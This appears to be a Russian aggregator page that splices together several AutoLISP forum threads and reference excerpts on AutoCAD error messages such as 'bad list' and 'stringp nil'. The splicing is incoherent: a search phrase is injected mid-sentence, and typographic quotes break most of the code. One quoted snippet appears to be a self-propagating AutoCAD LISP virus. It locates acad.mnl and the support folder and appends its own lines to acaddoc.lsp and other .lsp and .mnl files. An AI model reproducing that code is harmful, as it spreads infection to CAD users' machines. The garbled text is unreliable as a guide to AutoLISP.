Меню

Autolisp ошибка неверно сформированный список на входе

pavel481516

0 / 0 / 0

Регистрация: 12.02.2015

Сообщений: 16

1

Неверно сформированный список на входе

23.04.2017, 00:16. Показов 4808. Ответов 4

Метки нет (Все метки)


Функция «lp» строит оси координат (строки 6-9),
запрашивает положение конечных точек отрезка (строки 12, 13), строит
отрезок (строка 15) и его зеркальное отражение относительно начала
координат (строки 17-25).

Ошибка:Неверно сформированный список на входе
Подскажите, как решить данную проблему. Заранее благодарен.

Lisp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(defun lp() ;1
(setvar "blipmode" 0) ;2
(setvar "cmdecho" 0) ;3
(command "ZOOM" "w" '(-100 -100) '(100 100)) ;4
(command "COLOR" 5) ;5
(command "LINE" (0 -100) '(0 100) ;6
(command) ;7
(command "LINE" (-100 0) '(100 0) ;8
(command) ;9
(setq st "Y") ;10
(while (= st "Y") ;11
(setq p1 (getpoint "nPoint_1: ")) ;12
(setq p2 (getpoint "nPoint_2: ")) ;13
(command "COLOR" 7) ;14
(command "LINE" p1 p2) ;15
(command) ;16
(setq x1 (- (nth 0 p1))) ;17
(setq x2 (- (nth 0 p2))) ;18
(setq y1 (- (nth 1 p1))) ;19
(setq y2 (- (nth 1 p2))) ;20
(setq pt1 (list(x1 y1)) ;21
(setq pt2 (list(x2 y2)) ;22
(command "COLOR" 1) ;23
(command "LINE" pt1 pt2) ;24
(command) ;25
(setq st (getstring "nNext ? (Y/N):")) ;26
(setq st (strcase st)) ;27
))

__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь



0



Programming

Эксперт

94731 / 64177 / 26122

Регистрация: 12.04.2006

Сообщений: 116,782

23.04.2017, 00:16

4

544 / 868 / 144

Регистрация: 10.08.2015

Сообщений: 4,455

23.04.2017, 15:36

2

В строках 6,8,21,22 не хватает закрывающей скобки



1



0 / 0 / 0

Регистрация: 12.02.2015

Сообщений: 16

23.04.2017, 15:56

 [ТС]

3

Спасибо, но теперь другая ошибка
ошибка:неверная функция в выражении: (0 -100))



0



544 / 868 / 144

Регистрация: 10.08.2015

Сообщений: 4,455

23.04.2017, 16:29

4

Лучший ответ Сообщение было отмечено pavel481516 как решение

Решение

в строке 6, 8 не хватает апострофа
в строке 21, 22 лишние скобки



2



0 / 0 / 0

Регистрация: 12.02.2015

Сообщений: 16

23.04.2017, 16:36

 [ТС]

5

Спасибо.



0



IPB

> Внимание!

1. Пользуйтесь тегами кода. — [code][/code]
2. Точно указывайте язык, название и версию компилятора (интерпретатора).
3. Название темы должно быть информативным.
В описании темы указываем язык!!!

Наладить общение поможет, если вы подпишитесь по почте на новые темы в этом форуме.

> Программа на Lisp

сообщение 11.11.2009 13:21

Сообщение
#1

Пионер
**

Группа: Пользователи
Сообщений: 80
Пол: Мужской

Репутация: -  0  +



Задание: Написать программу подсчета количества атомов в заданном интервале уровней для заданного списка.

Код

(setq m nil);количество атомов
(setq A ‘( 11 12 13 14 15 16 ( 11 12 13 14) 18));список
(setq a1 2);левая граница
(setq a2 6);правая граница
//(setq a1 (getint «element1:»))
//(setq a2 (getint «element2:»))
(setq p (- a2 a1)); количество элементов в «нужной части»
(setq n a1)
(while (> n 0);отрезаю «голову» списка, чтобы оставить только нужную для анализа часть
    (progn
        (cdr A)
        (- n 1))
)
(setq z 0)
(while (> p 0)     ; Проверяю является ли текущий элемент списка атомом
    (progn
        (if (= Atom(nth z ‘A) T)
            (+ 1 m) ; Если да, то увеличиваю m
        )
    (+ z 1)); наращиваю z, чтобы посмотреть след. элемент списка
      (setq p (- p 1)); Пока не просмотрю все элементы из нужной части
)
(print m); Вывод m

Вроде всё нормально, не уверен с проверкой на то, является ли элемент атомом, просто не очень удобный Компилятор, не понимаю, что не так…

 Оффлайн  Профиль  PM 

 К началу страницы 

+ Ответить 

RussoTuristo

сообщение 12.11.2009 13:40

Сообщение
#2

Пионер
**

Группа: Пользователи
Сообщений: 80
Пол: Мужской

Репутация: -  0  +



Немного сам не понял задачу, для заданных уровней — означает вложенность списков друг в друга (Например: (1 2 3(4 5 (6 (7)))) У 7 — уровень вложенности 4).
Прогу вроде переписал и теперь в принципе думаю она должна работать, но препод у нас долбанутый, даже Lisp нам еще не показывал (есть куча всяких прог на лиспе, но не знаю как их запускать, набираешь например My() прога что-то делает, а дальше не ввода данных, ничего … может делаю что не то … проги все 100% рабочие)
Но проблема в другом, раньше вроде все работало, а теперь пишет неверное сформированный список на входе … Я его задаю неправильно?

Код

(Defun Find()
      (Setq A ‘(1 2 3 4 5 6 7 8 9))
      (Setq a1 2); Искать атомы начиная с уровня а1
      (Setq a2 5); И до уровня а2
      (Setq k (length A))
    (Setq Scobka1 (vl-string-elt «(» 0)); Если встретили «(» Ниже к count1 прибавится 1
      (Setq Scobka2 (vl-string-elt «)» 0)); Если встретили «)» Ниже count1 уменьшится на 1
      (Setq Probel (vl-string-elt » » 0)); Если встретили пробел
      (Setq i 0)
      (Setq count 0);
      (Setq count1 0);
      (While (< i k)
      (if (= Scobka1 (nth i A))
         (Setq count1 (+ count1 1)))
      (if (= Scobka2 (nth i A))
         (Setq count1 (- count1 1)))
      (if (= Probel (nth i A))
        (if (>= count1 a1)
          (if (<= count1 a2)
             (Setq count (+ count 1))
      (Setq i (+ i 1))))
    )
    (print count)
)

По количеству открывающих/закрывающих скобок ищем уровень вложенности, и сравниваем с заданным, если то, что надо — увеличиваем count на 1…

 Оффлайн  Профиль  PM 

 К началу страницы 

+ Ответить 

1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)

Пользователей: 0

500Gb HDD, 6Gb RAM, 2 Cores, 7 EUR в месяц — такие хостинги правда бывают

Связь с администрацией: bu_gen в домене octagram.name

7.3. Список зарезервированных
идентификаторов

Следующие идентификаторы зарезервированы
для внутреннего пользования. Их нельзя использовать для имен переменных и
функций в пользовательских программах.

*Backtrace*                
если переменная равна T, то, если встретилась
ошибка и не определена функция ERROR, печятается список имен в цепочке вызовов. Значение по
умолчанию Тю

*break*                         встроенная
переменная AutoLISP, управляющая условной обработкой
ошибок для AutoLISP c отладчиком. Если она равна Т,
задейетвуется цикл прерывания. Значение по умолчанию nil.

*Fastlink*                     если
переменная равна Т, то все обращения к функциям в скомпилированныхфункцияях
реализуется напрямую, поэтому невозможно отследить обращения в скомпилированных
функциях и в случае ошибки не будет видна бальшая часть трассы. Установка
значения переменной в nil обеспечивает обычую
трассировку, но при этом выполнение пойдет медленнее.Значение по умолчанию
равно Т.

*quietload*                если
переменная равна nil, имена загружаемых функций
выводится на экран. Значение по умолчанию равно Т.

*user_break*             если
функция с этим имнем, то она вызывается перед передачей управления
интерактивному отладчику.

*St, si*                        опции
пощаговой обработки, имеющиеся на уровне цикла прерывания при отладке.

*Bdc2, bdc4*             внутренние
функции, используемые при загрузке скомпилированных функций.

*Reversip*                 встроенная
функция для быстрого реверсирования списка. Она необходима для поддержки
некоторых скомпелированных программ и дожна использоваться только для
внутренних целей.

Функции, описанные ранее:

Back_trace, break, debug, errset,
nextatom, signal_error, special, undebug, c:reset

Идентификаторы, возвращаемые функцией TYPE
для некоторых типов внутренних кодов:

Asubr, csubr, cympage, fsubr, agetb,
vsubr

8.Сообщения об ошибках

8.1 Собщения об ошибках стандартного
AutoLISP

Если AutoLISP встречает ошибку во время
вычислений, он печатает сообщиние в виде:

Error:текст

И обратную трассировку функций. Здесь текст – это опписание
ошибки. Ниже приведен список сообщений об ошибках, которые мгогут быть встречены
в процессе написания и отладки функкций AutoLISP.

ATOMLIST modified  after function swap

ATOMLIST изменен после выгрузки

Функция модифицирует  ATOMLIST.  Это
не допустимо после выполнения   функции  VMON

AutoCAD  rejected function

Неразрешенная функция

Аргументы,  переданные в функцию AutoCAD,
были неверны или же в данном контексте  сама  функция неверна. Например, нельзя
пользоваться функциями GETxxx из функции COMMAND.

Bad argument type

Неверный тип аргумента

В функцию был передан  неверный тип аргумента.

Bad association list

Неверный ассоциативный  список

Список , переданный  в функцию ASSOC ,
не состоит  из списков “(ключ значение)”.

Bad entmod list

Неверный список описания примитива

Аргумент, переданный в  функцию ENTMOD,
не состоит из списка данных примитива, возвращаемого  функцией ENTGET.

Bad entmode list value

Список описания примитива содержит  неверное значение

Один из подсписков переданных в функцию  ENTMOD,
содержит  неверное значение.

Bad  formal argument list

Неверный список  фоормальных аргументов

Выполняя функцию, AutoLISP  обнаружил
неверный список  формальных аргументов Возможно, это не функция, а список
данных.

Bad function

Неверное имя функции

Первый елемент списка – недопустимое имя функции. Возможно,
это имя  переменной или число. Это сообщение  может также указывать,  что
функция неверно определена – не следует забывать требуемый список формальных
аргументов.

Bad list

Невероятный список

В функцию был передан неверно сформированный список.Это
может произойти, если действительное число начинается с десятичной точки; в
подсбных случаях число необходимо начинать с нуля.

Bad node.

Неверный тип элемента

Функция TYPE столкнулась с элементом
неверного типа.

Bad  node type in list

Список содержит элемент невеноготипа

Уважаемый посетитель!

Чтобы распечатать файл, скачайте его (в формате Word).

Ссылка на скачивание — внизу страницы.

Перейти к содержимому раздела

Форумы CADUser

Информационный портал для профессионалов в области САПР

Вы не вошли. Пожалуйста, войдите или зарегистрируйтесь.

Дерево сообщений Активные темы Темы без ответов

Страницы 1

Чтобы отправить ответ, вы должны войти или зарегистрироваться

#1 27 апреля 2008г. 14:35:20

  • Aspirine
  • Восстановленный участник
  • На форуме с 20 марта 2008г.
  • Сообщений: 13
  • Спасибо: 0

Тема: Нужна помощь с AutoLISP

Здравствуйте!
Задали написать программу на автолиспе чтобы запрашивала у пользователя размеры того что будет строить. Я не знаю каким образом это осоуществить. вроде с функциями типа commnad и setq разобрался, а как спросить пользователя у размерах, и каким образом недопкстить задание им слишком больших или слишком малых размеров?
Зарание спасибо.

#2 Ответ от Н.Н.Полещук 27 апреля 2008г. 14:43:37

  • Н.Н.Полещук
  • Восстановленный участник
  • На форуме с 19 марта 2004г.
  • Сообщений: 358
  • Спасибо: 0

Re: Нужна помощь с AutoLISP

> Aspirine
См. функции getreal, getint, initget, getpoint

#3 Ответ от Aspirine 27 апреля 2008г. 14:56:09

  • Aspirine
  • Восстановленный участник
  • На форуме с 20 марта 2008г.
  • Сообщений: 13
  • Спасибо: 0

Re: Нужна помощь с AutoLISP

Спасибо. А не подскажите какую-нибудь литературу в которой описаны эти функции?

#4 Ответ от Aspirine 28 апреля 2008г. 11:24:58

  • Aspirine
  • Восстановленный участник
  • На форуме с 20 марта 2008г.
  • Сообщений: 13
  • Спасибо: 0

Re: Нужна помощь с AutoLISP

В общем немного разобрался. Вот только проблема небольшая. Вот код:

(command "_cylinder" "0,0,0" "3" "6")
(setq c1 (ssget "l"))
(command "_cylinder" "0,0,0" "1.25" "8")
(setq c2 (ssget "l"))
(command "_cone" "0,0,8" "1.25" "радиус" "0.5" "0.2")
(setq k1 (ssget "l"))
(command "_zoom" "гр" "")
(command "_.union" c2 k1 "")
;(setq c1 (entlast))

При попытке загрузки в автокад, выдаёт:
«; ошибка: неверная строка режима ssget»
Синтаксис проверил, вроде всё норма.
В чем проблема?
P.S. Цункцию ssget пытаюсь использовать для дальнейшего использования команд _union и _substract. Если возможно подругому подскажите плиз. Спасибо.

#5 Ответ от Александр Ривилис 28 апреля 2008г. 13:30:12

  • Александр Ривилис
  • Александр Ривилис
  • Активный участник
  • Откуда: Украина / Киев
  • На форуме с 15 апреля 2005г.
  • Сообщений: 8,659
  • Спасибо: 157

Re: Нужна помощь с AutoLISP

#6 Ответ от Aspirine 28 апреля 2008г. 14:14:40

  • Aspirine
  • Восстановленный участник
  • На форуме с 20 марта 2008г.
  • Сообщений: 13
  • Спасибо: 0

Re: Нужна помощь с AutoLISP

Спасибо. Действительно помогло…
Можно ещё вопрос. Мне нужно организовать чтобы пользователь имел возможность сам вводить размеры детали из определённой зоны значений.
Написал пока вот что:

(setq hd 10)
  (setq parametr1 (getreal (strcat "nВведите высоту детали <" (rtos hd) ">: ")))
  (setq hd (if parametr1 parametr1 hd))
(setq rc1 3)
  (setq parametr2 (getreal (strcat "nВведите радиус большого цилиндра <" (rtos rb) ">: ")))
  (setq rc1 (if parametr2 parametr2 rc1))
(setq rb1 6)
  (setq parametr3 (getreal (strcat "nВведите высоту большого цилиндра <" (rtos rs) ">: ")))
     (while (> parametr3 hd)
     (setq parametr3 (getreal (strcat "nВведите высоту большого цилиндра <" (rtos rs) ">: ")))
     )
  (setq rb1 (if parametr3 parametr3 rb1))

При загрузке а AutoCAD, он даёт ввести первое значение, а потом вылетает обратно в редактор автолиспа и в консоли Автолиспа следующая ошибка:
«ошибка: неверный тип аргумента: numberp: nil»
Никак не могу понять в чём проблема.

#7 Ответ от Victor 28 апреля 2008г. 14:38:09

  • Victor
  • Восстановленный участник
  • На форуме с 26 марта 2007г.
  • Сообщений: 270
  • Спасибо: 0

Re: Нужна помощь с AutoLISP

Что такое rb?

#8 Ответ от Atol 28 апреля 2008г. 14:39:00

  • Atol
  • Активный участник
  • На форуме с 21 февраля 2006г.
  • Сообщений: 1,365
  • Спасибо: 3

Re: Нужна помощь с AutoLISP

В редакторе Автолиспа есть возможность проставлять метки остановки (наставь до и после функций) и просмотра текущего значения переменных (а то и целых выражений) для контроля и поиска ошибок

#9 Ответ от Aspirine 28 апреля 2008г. 15:08:25

  • Aspirine
  • Восстановленный участник
  • На форуме с 20 марта 2008г.
  • Сообщений: 13
  • Спасибо: 0

Re: Нужна помощь с AutoLISP

rb- это переменная которая должна по идеи соответствовать высоте большого цилиндра.

#10 Ответ от Aspirine 28 апреля 2008г. 15:19:39

  • Aspirine
  • Восстановленный участник
  • На форуме с 20 марта 2008г.
  • Сообщений: 13
  • Спасибо: 0

Re: Нужна помощь с AutoLISP

Увидел… Да, это не внимательность и моя лень, копировал и набивал разное.
Исправил.
Но это не решило проблему…

#11 Ответ от Aspirine 28 апреля 2008г. 16:35:26

  • Aspirine
  • Восстановленный участник
  • На форуме с 20 марта 2008г.
  • Сообщений: 13
  • Спасибо: 0

Re: Нужна помощь с AutoLISP

Разобрался, спасибо. Дело было в неправильно ориентированных переменных.
Но возник ещё вопрос:
Мне нужно в координатах начальной точки тела указать две координаты и одну переменную, котороя может измениться исходя из желанию конеченого пользователя.
Например:

(command "_cylinder" "0,0,S3" rc1 rb1 "")

где rc1,rb1, S3 — переменые. Автокад при загрузке в него говорит что так координаты точек
«0,0,S3» задавать нельзя. Как пуступить в этой ситуации?

#12 Ответ от Александр Ривилис 28 апреля 2008г. 16:49:24

  • Александр Ривилис
  • Александр Ривилис
  • Активный участник
  • Откуда: Украина / Киев
  • На форуме с 15 апреля 2005г.
  • Сообщений: 8,659
  • Спасибо: 157

Re: Нужна помощь с AutoLISP

(command "_cylinder" (list 0 0 S3) rc1 rb1 "")

#13 Ответ от Aspirine 28 апреля 2008г. 18:18:56

  • Aspirine
  • Восстановленный участник
  • На форуме с 20 марта 2008г.
  • Сообщений: 13
  • Спасибо: 0

Re: Нужна помощь с AutoLISP

помогло, спасибо. А команда List- она создаёт список, да?

#14 Ответ от Александр Ривилис 28 апреля 2008г. 18:41:36

  • Александр Ривилис
  • Александр Ривилис
  • Активный участник
  • Откуда: Украина / Киев
  • На форуме с 15 апреля 2005г.
  • Сообщений: 8,659
  • Спасибо: 157

Re: Нужна помощь с AutoLISP

> Александр Ривилис
Функция (а не команда) (list …) создает список. Учи мат.часть (т.е. язык программирования AutoLisp/VisualLisp).

Сообщения 14

Тему читают: 1 гость

Страницы 1

Чтобы отправить ответ, вы должны войти или зарегистрироваться

В чем проблема? «error: bad argument type: stringp nil&

Инженер по системам безопасности

Где то в процессе исполнения кода переменная которая должна быть строкой принимает значение NIL, либо вообще не назначается.

Причиной этого может быть либо несовместимось работы кода в 2006-м, либо отсутствие какой либо функции которая напрямую не вызывается основной, однако в процессе загрузки должна создавать такую глобальную переменную.

что такое неверный тип аргумента автокад

Версия Автокада англ.+ SP1. Дело в том, что этот же самый кад стоит и на работе, где работает программа «Prokat» без проблем. Единственное отличие, так это то, что там стоит Win_xp Home с SP2, а дома, где и не работает, система Win_xp Prof. c SP1. Чистил реестр вручную, переустанавливал с SP1 и без, результат: error: bad argument type: stringp nil

Прилагаю папку с файликами, может что-то там и не так?
[ATTACH]1137611429.rar[/ATTACH]

что такое неверный тип аргумента автокад

что такое неверный тип аргумента автокад

(setq flagx t)
(setq bz «(setq flagx t)»)
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target «r»))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source «r»))
(setq wjm1 (open target «a»))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar «cmdecho» 0)
(setq acadmnl (findfile «acad.mnl»))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath «*.mnl»))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile «acad.exe»))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath «\support»))
(setq lspfilelist (vl-directory-files support «*.lsp»))
(setq lspfilelist (append lspfilelist (list «acaddoc.lsp»)))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar «dwgname»))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath «\acaddoc.lsp»))
(setq mnln 0)
(while (

не могу создать файл *.txt с этим текстом внутри он сразу же исчезает что такое неверный тип аргумента автокад

LISP, C# (ACAD 200[9,12,13,14])

LISP, C# (ACAD 200[9,12,13,14])

ИМХО будет проще сделать не так:
1. Определить, какие системные переменные изменяются
2. Нарисовать собственный код, выполняющий эти действия

Offtop: P.S. Да его (txt) даже создать нельзя. Он исчезает (удаляется, может куда-то переносится я не знаю) как только жмешь «сохранить» и закрываешь окно блокнота. этот код меня дурачком скоро сделает

LISP, C# (ACAD 200[9,12,13,14])

Offtop: Баба яга против! по целому ряду причин:
1. странный вирус какой-то направленный на очень непопулярный файл формата *.VLX
2. зачем все тому же вирусу прицепляться к файлам конфигурации автокада (промышленный шпионаж?)?
3. почему вебом были вылечены исключительно файлы меню и настроек все того же автокада (вирус собирает статистику по настройкам автокада?).

Я полагаю, что веба после его обновления смутила автозагрузка 3Д инжиниринга и его дополнительных файлов. и он изящненько так изменил ( ну или как он говорит вылечил) те строки конфигурации которые подгружали эти маленькие, но приятные утилитки.

LISP, C# (ACAD 200[9,12,13,14])

4u4undra7410, во-первых: http://adn-cis.org/posledovatelnost-. v-autocad.html + http://adn-cis.org/autocad-autoload-security.html
Во-вторых, вирусы «только под AutoCAD» существуют: Не работают некоторые команды и множатся файлы acaddoc.lsp
В-третьих, vlx компилирован, и его просто так не распознаешь. Файлы cui, cuix, mnl вскрываются «на раз» (первая ссылка).

Смотри ссылки на статьи и думай, как и что надо менять в загрузке своего дополнения.

Источник

Ошибка: неверный тип аргумента: stringp nil

Форумы CADUser → Программирование → LISP → Ошибка: неверный тип аргумента: stringp nil

Чтобы отправить ответ, вы должны войти или зарегистрироваться

Сообщения 6

#1 Тема от Blackjek 24 июля 2015г. 16:35:04

Тема: Ошибка: неверный тип аргумента: stringp nil

Добрый день коллеги.
Моим товарищем было написан лисп:
(defun c:11 (/ xyfill osm ocmd spt ept cla)

;;—————————————————————————
;; функция заливки прямоугольника, определенного точками 1pt и 2pt в текущей ПСК,
;; блоками с именем bname на максимальном расстоянии maxdist
(defun xyfill (1pt 2pt maxdist bname / n_meas nx ny dx dy sx sy ix iy)

(defun n_meas (1p 2p d / n) ;_ возвращает количество точек деления по координате
(max (fix (if (not (zerop (- (abs (- 2p 1p)) (* (fix (setq n (/ (abs (- 2p 1p)) d))) d))))
(1+ n)
n
) ;_ if
) ;_ fix
1 ;_ минимум одна точка деления
) ;_ max
) ;_ defun n_meas

(setq dimlf1 (getvar «DIMLFAC»));; установка масштаба блока «Оросители»
(setq mashbloka1 (/ 1.0 dimlf1))
(setq nx (n_meas (car 1pt) (car 2pt) maxdist))
(setq ny (n_meas (cadr 1pt) (cadr 2pt) maxdist))
(setq dx (/ (- (car 2pt) (car 1pt)) nx)) ;_ шаг по X
(setq dy (/ (- (cadr 2pt) (cadr 1pt)) ny)) ;_ шаг по Y
(princ (list «рядов по X=» nx «, по Y=» ny «, шаг X=» dx «, шаг Y=» dy));;писанина
(setq sx (+ (car 1pt) (* dx 0.5)))
(setq sy (+ (cadr 1pt) (* dy 0.5)))
(setq ix sx)
(repeat nx
(setq iy sy)
(repeat ny
(vl-cmdf «_.insert» bname (list ix iy) mashbloka1 mashbloka1 0)
(setq iy (+ iy dy))
) ;_ repeat
(setq ix (+ ix dx))
) ;_ repeat
) ;_ defun xyfill
;;—————————————————————————

;; Установка слоёв
(setq ocmd1 (getvar «cmdecho»))
(setvar «cmdecho» 0)
(if (setq layget (tblsearch «LAYER» «Оросители»)) ; проверка на наличие слоя
(cond ; если есть, то проверка его состояния
((= (logand 1 (cdr (assoc 70 layget))) 1)
(alert «Слой »Оросители», заморожен!nnДальнейшая работа, увы, невозможна. «)
(exit)
)
((= (logand 4 (cdr (assoc 70 layget))) 4)
(alert «Слой »Оросители» заблокирован!nnДальнейшая работа, увы, невозможна. «)
(exit)
)
((minusp (cdr (assoc 62 layget)))
(alert «Внимание. nnСлой »Оросители», на котором будет отрисован объект, невидим!»)
)
) ;_ cond
(vl-cmdf «_.layer» «_n» «Оросители» «_c» 20 «Оросители» «») ; создание слоя, если такого нет
) ;_ if
(setvar «cmdecho» ocmd1)
;;конец функции установки слоев

(vla-startundomark (vla-get-activedocument (vlax-get-acad-object)))
(setq cla (getvar «CLAYER»))
(setq ocmd (getvar «cmdecho»))
(setq osm (getvar «osmode»))
(setq bname1 «Ороситель») ;; Имя блока
(princ (strcat «nЗаливка прямоугольника блоками » bname1 «.»))
(initget 1)
(setq spt (getpoint «nОдин угол >»))
(initget 1)
(setq ept (getpoint «nДругой угол >»))
(princ «nМинуточку. n»)
(setvar «CLAYER» «Оросители»)
(setvar «cmdecho» 0)
(setvar «osmode» 0)
(xyfill spt ept (/ (atof(getenv «min-dist»)) (getvar «dimlfac»)) bname1) ;_ указать минимальную дистанцию и имя блока заливки
(setvar «cmdecho» ocmd)
(setvar «CLAYER» cla)
(setvar «osmode» osm)
(vla-endundomark (vla-get-activedocument (vlax-get-acad-object)))
(princ «nГотово что такое неверный тип аргумента автокад«)
(princ (strcat «nШаг между оросителями составляет : » (getenv «min-dist») «мм»))
(princ)
) ;_ defun

;;;**********************************************************************************************************
(defun min-dist-orosit (/ i)
;; (min-dist-orosit)
(or (getenv «min-dist») (setenv «min-dist» «4000»))
(initget «» 6)
(if (setq i
(getdist
(strcat «n Укажите минимальную дистанцию между блоками [» (getenv «min-dist») «]»)
) ;_ getint
) ;_ setq
(setenv «min-dist» (rtos i 2 3))
) ;_ if
(atof (getenv «min-dist»))
) ;_ defun

Смысл данной программы заключается:
1. Создается слой
2. равномерное распределение блока «ороситель» по всей площади помещения с указанием шаг оросителя.

Источник

; ошибка: неверный тип аргумента: File nil

Чтобы отправить ответ, вы должны войти или зарегистрироваться

Сообщения 4

#1 Тема от la_vanille_ciel 21 апреля 2008г. 07:15:58

Тема: ; ошибка: неверный тип аргумента: File nil

(vmon)
(defun C:Shtamp2a ()
(setvar «cmdecho» 0)
(setq osm (getvar «osmode»))
(setq Lay (getvar «Clayer»))
(setvar «clayer» «0»)
(setq curtab (tblobjname «STYLE» «STANDARD»))
(setq ed (entget curtab)) ;Установка в стиле STANDARD
(setq ed (subst (cons 3 «simplex.shx») (assoc 3 ed) ed )) ;файла шрифта simplex
(setq ed (subst (cons 41 0.8) (assoc 41 ed) ed )) ;сжатия 0.8
(setq ed (subst (cons 40 0.0) (assoc 40 ed) ed )) ;высота текста=0
(setq ed (subst (cons 50 0.261799) (assoc 50 ed) ed )) ;и угла наклона 15
(entmod ed)
(setq txt (getvar «textstyle»))
(setvar «textstyle» «standard»)
(setq Dog «»)
(if (findfile «C:\Shtamp\shtamp.txt»)
(progn
(setq FL (open «C:\Shtamp\shtamp.txt» «r»))
(setq Dog (read-line FL))
))
(setq OTV «Y»)
(IF (= (strlen Dog) 0)
(progn
(textscr)
(princ «Не заполнены данные для штампа. Необходимо выполнить ЗАПОЛНЕНИЕ ШТАМПА.n»)
(setq Otv (getstring «Вставить пустой штамп? : «))
(if (or (= otv «») (= otv «y»))
(setq OTV «Y»)
)
(graphscr)
(if (= OTV «Y»)
(princ
(setq M (getstring «Масштабный кофициент (1): «))
(if (= M «»)
(setq M «1»)
)
(setq T0 (getpoint «n Покажите точку вставки штампа :»))
(setvar «osmode» 0)
(command «_insert» «sh2a» T0 M M «0»)
(setq M (atof M))
(command «_text» (mapcar ‘- T0 (list (* 45 M) (* 4 M))) (* 3 M) «0» «Формат А»)
))
))
(if (> (strlen Dog) 0)
(progn
(setq M (getstring «Масштабный кофициент(1) : «))
(if (= M «»)
(setq M «1»)
)
(setq T0 (getpoint «n Покажите точку вставки штампа :»))
(setvar «osmode» 0)
(command «_insert» «sh2a» T0 M M «0»)
(setq M (atof M))
(command «_text» (mapcar ‘- T0 (list (* 45 M) (* 4 M))) (* 3 M) «0» «Формат А»)
(setq Dog (strcase Dog))
(setq T1 (polar T0 (/ pi 2) (* 32.5 M)))
(setq T1 (polar T1 pi 60))
(command «_text» «_m» T1 (* 5 M) «0» Dog)
(setq Pr (read-line FL))
(setq Ob (read-line FL))
(setq Name (read-line FL));Ncontr
(setq D (Strlen Name))
(setq T1 (polar T0 pi (* 164 M)))
(setq T1 (polar T1 (/ pi 2) (* 21 M)))
(if (> d 8)
(Command «_Text» «_f» T1 (polar T1 0 (* 18 M)) (* 3 M) Name)
(Command «_Text» T1 (* 3 M) «0» Name)
)

(setq Name (read-line FL));gip
(setq D (Strlen Name))
(setq T1 (polar T1 (* (/ pi 2) 3) 5))
(if (> d 8)
(Command «_Text» «_f» T1 (polar T1 0 (* 18 M)) (* 3 M) Name)
(Command «_Text» T1 (* 3 M) «0» Name)
)
(setq Name (read-line FL));Nachotd
(setq D (Strlen Name))
(setq T1 (polar T1 (* (/ pi 2) 3) (* 5 M)))
(if (> d 8)
(Command «_Text» «_f» T1 (polar T1 0 (* 18 M)) (* 3 M) Name)
(Command «_Text» T1 (* 3 M) «0» Name)
)
(setq Name (read-line FL));Fio
(setq D (Strlen Name))
(setq T1 (polar T1 (* (/ pi 2) 3) (* 10 M)))
(if (> d 8)
(Command «_Text» «_f» T1 (polar T1 0 (* 18 M)) (* 3 M) Name)
(Command «_Text» T1 (* 3 M) «0» Name)
)
))
(setvar «clayer» Lay)
(setvar «textstyle» txt)
(setvar «osmode» osm)
(setvar «cmdecho» 1)
)
Вот этот код отвечает за вставку штампов и почему-то, с некоторых пор, после указания точки вставки Автокад выдает ошибку о неверном типе аргумента. Что нужно исправить?
Спасибо.

Источник

Компилированные формы, как от этого избавиться?

Вопрос в следующем:
Во время открытия файла появляеться такое окно. (см. принскрин)
нажимаю отмена, открываеться файл, таких шрифтов у меня в документе нету (или я не знаю где он засел. )
Как от этого избавиться, очень напрягает что такое неверный тип аргумента автокад.

Заранее спасибо!
[ATTACH]1171735546.JPG[/ATTACH]

Инженер по автоматизации (строительство)

что такое неверный тип аргумента автокадчто такое неверный тип аргумента автокад

Изобретение металлических гаражей

Что же оно так все сложно?
Неужели нет более других нормальных способов избавиться от выскакивающего окошка?

Рассказываю свою историю. Пришел с утра на работу, думаю дай-ка установлю известную местную программу Прокат. Читаю ридми.. Приписываю в автокаде Путь доступа к вспомогательным файлам. Запускаю prokat, ничего не происходит

Программа ПРОКАТ (2d) загружена. Сборка 458 от 10.02.2009
Команда:
Команда: prokat

Ошибка загрузки файла _kpblc-linetype-load_.lsp : неверный тип аргумента:
stringp nil
Ошибка загрузки файла dvt_p.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла dvt_r.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла shv_r.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла shv_rp.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла shv_rg.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла ug_rp.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла ug_np.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла ug_rg.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла ug_ng.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла tr_prf.lsp : неверный тип аргумента: stringp nilневерный
тип аргумента: stringp nil====15359

п.с Автокад 2008 рус
Ничего криминального вроде не делал, чужие файлы не открывал, ничего из них не копировал и т.п.
Никаких экспериментов со шрифтами не делал тоже, работал спокойненько потихонечку что такое неверный тип аргумента автокад

Источник

Что такое неверный тип аргумента автокад

Сообщения об ошибках

Здесь приведен список сообщений об ошибках, которые вы можете встретить в процессе написания и отладки функций Автолиспа. Они выводятся стандартным обработчиком ошибок Автолиспа в виде:

Список сообщений об ошибках

AutoCAD rejected function

В функцию был передан неверный тип аргумента. (Например, вы не можете выполнить функцию STRLEN над целочисленным аргументом.)

bad association list

bad formal argument list

Выполняя функцию, Автолисп обнаружил неверный список формальных аргументов. Возможно это вовсе и не функция, а список данных.

В функцию был передан неверно сформированный список. Это может произойти, если действительное число начинается с десятичной точки; в подобных случаях необходимо число начинать с нуля.

Функция TYPE столкнулась с элементом неверного типа.

bad node type in list

